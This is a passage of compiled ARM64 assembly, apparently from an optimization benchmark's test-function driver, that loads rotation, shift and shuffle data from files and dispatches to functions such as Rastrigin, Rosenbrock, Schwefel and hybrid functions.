ldr w1, [sp, 20]
cmp w1, w0
beq .L2
.L3:
adrp x0, ini_flag
add x0, x0, :lo12:ini_flag
str wzr, [x0]
.L2:
adrp x0, ini_flag
add x0, x0, :lo12:ini_flag
ldr w0, [x0]
cmp w0, 0
bne .L4
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
bl free
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x0, [x0]
bl free
adrp x0, y
add x0, x0, :lo12:y
ldr x0, [x0]
bl free
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
bl free
adrp x0, x_bound
add x0, x0, :lo12:x_bound
ldr x0, [x0]
bl free
ldrsw x0, [sp, 28]
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, y
add x0, x0, :lo12:y
str x1, [x0]
ldrsw x0, [sp, 28]
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, z
add x0, x0, :lo12:z
str x1, [x0]
ldrsw x0, [sp, 28]
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, x_bound
add x0, x0, :lo12:x_bound
str x1, [x0]
str wzr, [sp, 52]
b .L5
.L6:
adrp x0, x_bound
add x0, x0, :lo12:x_bound
ldr x1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x0, x1, x0
mov x1, 4636737291354636288
fmov d0, x1
str d0, [x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L5:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L6
ldr w0, [sp, 28]
cmp w0, 2
beq .L7
ldr w0, [sp, 28]
cmp w0, 10
beq .L7
ldr w0, [sp, 28]
cmp w0, 20
beq .L7
ldr w0, [sp, 28]
cmp w0, 30
beq .L7
ldr w0, [sp, 28]
cmp w0, 50
beq .L7
ldr w0, [sp, 28]
cmp w0, 100
beq .L7
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl puts
.L7:
ldr w0, [sp, 28]
cmp w0, 2
bne .L8
ldr w0, [sp, 20]
cmp w0, 16
ble .L9
ldr w0, [sp, 20]
cmp w0, 22
ble .L10
.L9:
ldr w0, [sp, 20]
cmp w0, 28
ble .L8
ldr w0, [sp, 20]
cmp w0, 30
bgt .L8
.L10:
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl puts
.L8:
add x4, sp, 72
ldr w3, [sp, 28]
ldr w2, [sp, 20]
adrp x0, .LC19
add x1, x0, :lo12:.LC19
mov x0, x4
bl sprintf
add x2, sp, 72
adrp x0, .LC20
add x1, x0, :lo12:.LC20
mov x0, x2
bl fopen
str x0, [sp, 64]
ldr x0, [sp, 64]
cmp x0, 0
bne .L11
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
.L11:
ldr w0, [sp, 20]
cmp w0, 19
bgt .L12
ldr w0, [sp, 28]
mul w0, w0, w0
sxtw x0, w0
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, M
add x0, x0, :lo12:M
str x1, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
cmp x0, 0
bne .L13
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
.L13:
str wzr, [sp, 52]
b .L14
.L15:
adrp x0, M
add x0, x0, :lo12:M
ldr x1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x0, x1, x0
mov x2, x0
adrp x0, .LC23
add x1, x0, :lo12:.LC23
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L14:
ldr w0, [sp, 28]
mul w0, w0, w0
ldr w1, [sp, 52]
cmp w1, w0
blt .L15
b .L16
.L12:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
mul w1, w1, w0
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, M
add x0, x0, :lo12:M
str x1, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
cmp x0, 0
bne .L17
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
.L17:
str wzr, [sp, 52]
b .L18
.L19:
adrp x0, M
add x0, x0, :lo12:M
ldr x1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x0, x1, x0
mov x2, x0
adrp x0, .LC23
add x1, x0, :lo12:.LC23
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L18:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
mul w1, w1, w0
ldr w0, [sp, 28]
mul w0, w1, w0
ldr w1, [sp, 52]
cmp w1, w0
blt .L19
.L16:
ldr x0, [sp, 64]
bl fclose
add x3, sp, 72
ldr w2, [sp, 20]
adrp x0, .LC24
add x1, x0, :lo12:.LC24
mov x0, x3
bl sprintf
add x2, sp, 72
adrp x0, .LC20
add x1, x0, :lo12:.LC20
mov x0, x2
bl fopen
str x0, [sp, 64]
ldr x0, [sp, 64]
cmp x0, 0
bne .L20
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
.L20:
ldr w0, [sp, 20]
cmp w0, 19
bgt .L21
ldrsw x0, [sp, 28]
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
str x1, [x0]
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x0, [x0]
cmp x0, 0
bne .L22
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
.L22:
str wzr, [sp, 52]
b .L23
.L24:
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x0, x1, x0
mov x2, x0
adrp x0, .LC23
add x1, x0, :lo12:.LC23
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L23:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L24
b .L25
.L21:
ldr w1, [sp, 28]
ldr w0, [sp, 60]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
bl malloc
mov x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
str x1, [x0]
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x0, [x0]
cmp x0, 0
bne .L26
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
.L26:
str wzr, [sp, 52]
b .L27
.L30:
str wzr, [sp, 56]
b .L28
.L29:
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x1, [x0]
ldr w2, [sp, 52]
ldr w0, [sp, 28]
mul w2, w2, w0
ldr w0, [sp, 56]
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
add x0, x1, x0
mov x2, x0
adrp x0, .LC23
add x1, x0, :lo12:.LC23
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L28:
ldr w1, [sp, 56]
ldr w0, [sp, 28]
cmp w1, w0
blt .L29
adrp x0, .LC25
add x1, x0, :lo12:.LC25
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L27:
ldr w0, [sp, 60]
sub w0, w0, #1
ldr w1, [sp, 52]
cmp w1, w0
blt .L30
str wzr, [sp, 56]
b .L31
.L32:
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x1, [x0]
ldr w0, [sp, 60]
sub w2, w0, #1
ldr w0, [sp, 28]
mul w2, w2, w0
ldr w0, [sp, 56]
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
add x0, x1, x0
mov x2, x0
adrp x0, .LC23
add x1, x0, :lo12:.LC23
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L31:
ldr w1, [sp, 56]
ldr w0, [sp, 28]
cmp w1, w0
blt .L32
.L25:
ldr x0, [sp, 64]
bl fclose
ldr w0, [sp, 20]
cmp w0, 10
ble .L33
ldr w0, [sp, 20]
cmp w0, 20
bgt .L33
add x4, sp, 72
ldr w3, [sp, 28]
ldr w2, [sp, 20]
adrp x0, .LC26
add x1, x0, :lo12:.LC26
mov x0, x4
bl sprintf
add x2, sp, 72
adrp x0, .LC20
add x1, x0, :lo12:.LC20
mov x0, x2
bl fopen
str x0, [sp, 64]
ldr x0, [sp, 64]
cmp x0, 0
bne .L34
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
.L34:
ldrsw x0, [sp, 28]
lsl x0, x0, 2
bl malloc
mov x1, x0
adrp x0, SS
add x0, x0, :lo12:SS
str x1, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
cmp x0, 0
bne .L35
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
.L35:
str wzr, [sp, 52]
b .L36
.L37:
adrp x0, SS
add x0, x0, :lo12:SS
ldr x1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
add x0, x1, x0
mov x2, x0
adrp x0, .LC27
add x1, x0, :lo12:.LC27
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L36:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
blt .L37
ldr x0, [sp, 64]
bl fclose
b .L38
.L33:
ldr w0, [sp, 20]
cmp w0, 29
beq .L39
ldr w0, [sp, 20]
cmp w0, 30
bne .L38
.L39:
add x4, sp, 72
ldr w3, [sp, 28]
ldr w2, [sp, 20]
adrp x0, .LC26
add x1, x0, :lo12:.LC26
mov x0, x4
bl sprintf
add x2, sp, 72
adrp x0, .LC20
add x1, x0, :lo12:.LC20
mov x0, x2
bl fopen
str x0, [sp, 64]
ldr x0, [sp, 64]
cmp x0, 0
bne .L40
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
.L40:
ldr w1, [sp, 28]
ldr w0, [sp, 60]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
bl malloc
mov x1, x0
adrp x0, SS
add x0, x0, :lo12:SS
str x1, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
cmp x0, 0
bne .L41
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
.L41:
str wzr, [sp, 52]
b .L42
.L43:
adrp x0, SS
add x0, x0, :lo12:SS
ldr x1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
add x0, x1, x0
mov x2, x0
adrp x0, .LC27
add x1, x0, :lo12:.LC27
ldr x0, [sp, 64]
bl __isoc99_fscanf
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L42:
ldr w1, [sp, 28]
ldr w0, [sp, 60]
mul w0, w1, w0
ldr w1, [sp, 52]
cmp w1, w0
blt .L43
ldr x0, [sp, 64]
bl fclose
.L38:
adrp x0, n_flag
add x0, x0, :lo12:n_flag
ldr w1, [sp, 28]
str w1, [x0]
adrp x0, func_flag
add x0, x0, :lo12:func_flag
ldr w1, [sp, 20]
str w1, [x0]
adrp x0, ini_flag
add x0, x0, :lo12:ini_flag
mov w1, 1
str w1, [x0]
.L4:
str wzr, [sp, 52]
b .L44
.L78:
ldr w0, [sp, 20]
sub w0, w0, #1
cmp w0, 29
bhi .L45
adrp x1, .L47
add x1, x1, :lo12:.L47
ldr w0, [x1,w0,uxtw #2]
adr x1, .Lrtx47
add x0, x1, w0, sxtw #2
br x0
.Lrtx47:
.section .rodata
.align 0
.align 2
.L47:
.word (.L76 - .Lrtx47) / 4
.word (.L75 - .Lrtx47) / 4
.word (.L74 - .Lrtx47) / 4
.word (.L73 - .Lrtx47) / 4
.word (.L72 - .Lrtx47) / 4
.word (.L71 - .Lrtx47) / 4
.word (.L70 - .Lrtx47) / 4
.word (.L69 - .Lrtx47) / 4
.word (.L68 - .Lrtx47) / 4
.word (.L67 - .Lrtx47) / 4
.word (.L66 - .Lrtx47) / 4
.word (.L65 - .Lrtx47) / 4
.word (.L64 - .Lrtx47) / 4
.word (.L63 - .Lrtx47) / 4
.word (.L62 - .Lrtx47) / 4
.word (.L61 - .Lrtx47) / 4
.word (.L60 - .Lrtx47) / 4
.word (.L59 - .Lrtx47) / 4
.word (.L58 - .Lrtx47) / 4
.word (.L57 - .Lrtx47) / 4
.word (.L56 - .Lrtx47) / 4
.word (.L55 - .Lrtx47) / 4
.word (.L54 - .Lrtx47) / 4
.word (.L53 - .Lrtx47) / 4
.word (.L52 - .Lrtx47) / 4
.word (.L51 - .Lrtx47) / 4
.word (.L50 - .Lrtx47) / 4
.word (.L49 - .Lrtx47) / 4
.word (.L48 - .Lrtx47) / 4
.word (.L46 - .Lrtx47) / 4
.text
.L76:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl bent_cigar_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 4636737291354636288
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L75:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl sum_diff_pow_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 4641240890982006784
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L74:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl zakharov_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 211106232532992
movk x1, 0x4072, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L73:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl rosenbrock_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 4645744490609377280
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L72:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl rastrigin_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 70368744177664
movk x1, 0x407f, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L71:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl schaffer_F7_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 211106232532992
movk x1, 0x4082, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L70:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl bi_rastrigin_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 246290604621824
movk x1, 0x4085, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L69:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl step_rastrigin_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 4650248090236747776
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L68:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl levy_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 35184372088832
movk x1, 0x408c, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L67:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w6, 1
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl schwefel_func
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 70368744177664
movk x1, 0x408f, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L66:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf01
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 52776558133248
movk x1, 0x4091, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L65:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf02
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 211106232532992
movk x1, 0x4092, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L64:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf03
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 87960930222080
movk x1, 0x4094, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L63:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf04
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 246290604621824
movk x1, 0x4095, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L62:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf05
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 123145302310912
movk x1, 0x4097, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L61:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf06
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 4654751689864118272
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L60:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf07
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 158329674399744
movk x1, 0x409a, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L59:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf08
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 35184372088832
movk x1, 0x409c, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L58:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
